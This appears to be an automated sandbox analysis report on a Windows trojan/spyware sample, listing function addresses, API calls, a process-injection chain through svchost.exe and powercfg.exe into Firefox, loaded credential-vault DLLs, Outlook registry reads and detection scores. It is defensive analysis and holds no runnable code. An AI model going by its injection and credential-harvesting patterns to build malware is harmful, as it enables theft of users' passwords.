Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FFCF2	2_2_030FFCF2
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	Code function: 4_2_02D5D4D2	4_2_02D5D4D2
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	Code function: 4_2_02D5F311	4_2_02D5F311
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	Code function: 4_2_02D5F308	4_2_02D5F308
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	Code function: 4_2_02D7E0F1	4_2_02D7E0F1
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	Code function: 4_2_02D5D6CA	4_2_02D5D6CA
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	Code function: 4_2_02D5D681	4_2_02D5D681
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	Code function: 4_2_02D5D678	4_2_02D5D678
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	Code function: 4_2_02D65CD1	4_2_02D65CD1
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	Code function: 4_2_02D5D531	4_2_02D5D531
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	Code function: 4_2_02D5F531	4_2_02D5F531
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_033AA352	5_2_033AA352
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_033B03E6	5_2_033B03E6
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_032FE3F0	5_2_032FE3F0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03390274	5_2_03390274
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_033702C0	5_2_033702C0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_0338A118	5_2_0338A118
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_032E0100	5_2_032E0100
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03378158	5_2_03378158
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_033B01AA	5_2_033B01AA
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_033A41A2	5_2_033A41A2
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_033A81CC	5_2_033A81CC
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03382000	5_2_03382000
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_032F0770	5_2_032F0770
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03314750	5_2_03314750
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_032EC7C0	5_2_032EC7C0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_0330C6E0	5_2_0330C6E0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_032F0535	5_2_032F0535
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_033B0591	5_2_033B0591
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03394420	5_2_03394420
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_033A2446	5_2_033A2446
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_0339E4F6	5_2_0339E4F6
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_033AAB40	5_2_033AAB40
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_033A6BD7	5_2_033A6BD7
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_032EEA80	5_2_032EEA80
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03306962	5_2_03306962
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_032F29A0	5_2_032F29A0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_033BA9A6	5_2_033BA9A6
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_032F2840	5_2_032F2840
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_032FA840	5_2_032FA840
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_032D68B8	5_2_032D68B8
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_0331E8F0	5_2_0331E8F0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03310F30	5_2_03310F30
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03392F30	5_2_03392F30
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03332F28	5_2_03332F28
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03364F40	5_2_03364F40
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_0336EFA0	5_2_0336EFA0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_032FCFE0	5_2_032FCFE0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_032E2FC8	5_2_032E2FC8
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_033AEE26	5_2_033AEE26
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_032F0E59	5_2_032F0E59
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03302E90	5_2_03302E90
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_033ACE93	5_2_033ACE93
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_033AEEDB	5_2_033AEEDB
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_0338CD1F	5_2_0338CD1F
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_032FAD00	5_2_032FAD00
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03308DBF	5_2_03308DBF
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_032EADE0	5_2_032EADE0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_032F0C00	5_2_032F0C00
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03390CB5	5_2_03390CB5
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_032E0CF2	5_2_032E0CF2
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_033A132D	5_2_033A132D
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_032DD34C	5_2_032DD34C
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_0333739A	5_2_0333739A
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_032F52A0	5_2_032F52A0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_033912ED	5_2_033912ED
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_0330B2C0	5_2_0330B2C0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_033BB16B	5_2_033BB16B
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_0332516C	5_2_0332516C
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_032DF172	5_2_032DF172
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_032FB1B0	5_2_032FB1B0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_033A70E9	5_2_033A70E9
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_033AF0E0	5_2_033AF0E0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_032F70C0	5_2_032F70C0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_0339F0CC	5_2_0339F0CC
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_033AF7B0	5_2_033AF7B0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03335630	5_2_03335630
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_033A16CC	5_2_033A16CC
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_033A7571	5_2_033A7571
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_0338D5B0	5_2_0338D5B0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_033B95C3	5_2_033B95C3
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_033AF43F	5_2_033AF43F
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_032E1460	5_2_032E1460
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_033AFB76	5_2_033AFB76
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_0330FB80	5_2_0330FB80
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03365BF0	5_2_03365BF0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_0332DBF9	5_2_0332DBF9
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03363A6C	5_2_03363A6C
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_033AFA49	5_2_033AFA49
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_033A7A46	5_2_033A7A46
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03335AA0	5_2_03335AA0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_0338DAAC	5_2_0338DAAC
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03391AA3	5_2_03391AA3
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_0339DAC6	5_2_0339DAC6
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03385910	5_2_03385910
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_0330B950	5_2_0330B950
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_032F9950	5_2_032F9950
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_0335D800	5_2_0335D800
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_032F38E0	5_2_032F38E0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_033AFF09	5_2_033AFF09
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_033AFFB1	5_2_033AFFB1
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_032F1F92	5_2_032F1F92
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_032B3FD2	5_2_032B3FD2
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_032B3FD5	5_2_032B3FD5
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_032F9EB0	5_2_032F9EB0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_033A7D73	5_2_033A7D73
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_033A1D5A	5_2_033A1D5A
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_032F3D40	5_2_032F3D40
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_0330FDC0	5_2_0330FDC0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_03369C32	5_2_03369C32
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_033AFCF2	5_2_033AFCF2
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_02A72130	5_2_02A72130
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_02A6B230	5_2_02A6B230
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_02A6D230	5_2_02A6D230
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_02A6B380	5_2_02A6B380
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_02A6B3C9	5_2_02A6B3C9
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_02A6B377	5_2_02A6B377
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_02A6D007	5_2_02A6D007
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_02A6D010	5_2_02A6D010
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_02A757E0	5_2_02A757E0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_02A739D0	5_2_02A739D0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_02A8BDF0	5_2_02A8BDF0
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_0310E388	5_2_0310E388
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_0310E4AD	5_2_0310E4AD
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_0310D908	5_2_0310D908
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_0310E83C	5_2_0310E83C

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 030AEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 0302B970 appears 275 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 030BF290 appears 105 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03075130 appears 56 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03087E54 appears 99 times
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: String function: 00670AE3 appears 70 times
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: String function: 00678900 appears 42 times
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: String function: 00657DE1 appears 35 times
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: String function: 032DB970 appears 280 times
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: String function: 03337E54 appears 110 times
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: String function: 0336F290 appears 105 times
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: String function: 03325130 appears 58 times
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: String function: 0335EA12 appears 86 times

Source: wWXR5js3k2.exe, 00000000.00000003.1368366440.000000000396D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs wWXR5js3k2.exe
Source: wWXR5js3k2.exe, 00000000.00000003.1366990523.00000000037C3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs wWXR5js3k2.exe

Source: wWXR5js3k2.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/5@6/5

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

Code function: 0_2_006BA06A GetLastError,FormatMessageW,

0_2_006BA06A

Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_006A81CB AdjustTokenPrivileges,CloseHandle,		0_2_006A81CB
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_006A87E1 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		0_2_006A87E1

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

Code function: 0_2_006BB333 SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_006BB333

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

Code function: 0_2_006CEE0D CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_006CEE0D

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

Code function: 0_2_006C83BB CoInitialize,CoUninitialize,CoCreateInstance,IIDFromString,VariantInit,VariantClear,

0_2_006C83BB

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

Code function: 0_2_00654E89 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_00654E89

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

File created: C:\Users\user\AppData\Local\Temp\aut2D31.tmp

Jump to behavior

Source: wWXR5js3k2.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: powercfg.exe, 00000005.00000003.2075520065.0000000002EB5000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000005.00000003.2075386075.0000000002E94000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000005.00000002.2611913316.0000000002EB5000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000005.00000002.2611913316.0000000002EC0000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000005.00000002.2611913316.0000000002EE4000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: wWXR5js3k2.exe	Virustotal: Detection: 64%
Source: wWXR5js3k2.exe	ReversingLabs: Detection: 73%

Source: unknown	Process created: C:\Users\user\Desktop\wWXR5js3k2.exe "C:\Users\user\Desktop\wWXR5js3k2.exe"
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\wWXR5js3k2.exe"
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	Process created: C:\Windows\SysWOW64\powercfg.exe "C:\Windows\SysWOW64\powercfg.exe"
Source: C:\Windows\SysWOW64\powercfg.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\wWXR5js3k2.exe"	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	Process created: C:\Windows\SysWOW64\powercfg.exe "C:\Windows\SysWOW64\powercfg.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\SysWOW64\powercfg.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\powercfg.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Jump to behavior

Source: wWXR5js3k2.exe

Static file information: File size 1326080 > 1048576

Source: wWXR5js3k2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: wWXR5js3k2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: wWXR5js3k2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: wWXR5js3k2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: wWXR5js3k2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: wWXR5js3k2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: wWXR5js3k2.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: powercfg.pdbGCTL source: svchost.exe, 00000002.00000003.1852599121.0000000002A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1852713638.0000000002A2D000.00000004.00000020.00020000.00000000.sdmp, ycBMGRFRlht.exe, 00000004.00000002.2612973441.0000000000F68000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: ycBMGRFRlht.exe, 00000004.00000000.1809965971.000000000041E000.00000002.00000001.01000000.00000005.sdmp, ycBMGRFRlht.exe, 00000008.00000000.1957819340.000000000041E000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: wWXR5js3k2.exe, 00000000.00000003.1371523327.00000000036F0000.00000004.00001000.00020000.00000000.sdmp, wWXR5js3k2.exe, 00000000.00000003.1370169862.0000000003890000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1793017531.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1886544115.0000000003000000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1886544115.000000000319E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1795048850.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000005.00000003.1888818959.0000000003100000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000005.00000002.2613793846.00000000032B0000.00000040.00001000.00020000.00000000.sdmp, powercfg.exe, 00000005.00000002.2613793846.000000000344E000.00000040.00001000.00020000.00000000.sdmp, powercfg.exe, 00000005.00000003.1886495587.0000000002F2E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: wWXR5js3k2.exe, 00000000.00000003.1371523327.00000000036F0000.00000004.00001000.00020000.00000000.sdmp, wWXR5js3k2.exe, 00000000.00000003.1370169862.0000000003890000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.1793017531.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1886544115.0000000003000000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1886544115.000000000319E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1795048850.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, powercfg.exe, 00000005.00000003.1888818959.0000000003100000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000005.00000002.2613793846.00000000032B0000.00000040.00001000.00020000.00000000.sdmp, powercfg.exe, 00000005.00000002.2613793846.000000000344E000.00000040.00001000.00020000.00000000.sdmp, powercfg.exe, 00000005.00000003.1886495587.0000000002F2E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: powercfg.exe, 00000005.00000002.2611913316.0000000002E30000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000005.00000002.2614313409.00000000038DC000.00000004.10000000.00040000.00000000.sdmp, ycBMGRFRlht.exe, 00000008.00000000.1958596191.000000000321C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2185627863.000000003B45C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: powercfg.exe, 00000005.00000002.2611913316.0000000002E30000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000005.00000002.2614313409.00000000038DC000.00000004.10000000.00040000.00000000.sdmp, ycBMGRFRlht.exe, 00000008.00000000.1958596191.000000000321C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2185627863.000000003B45C000.00000004.80000000.00040000.00000000.sdmp
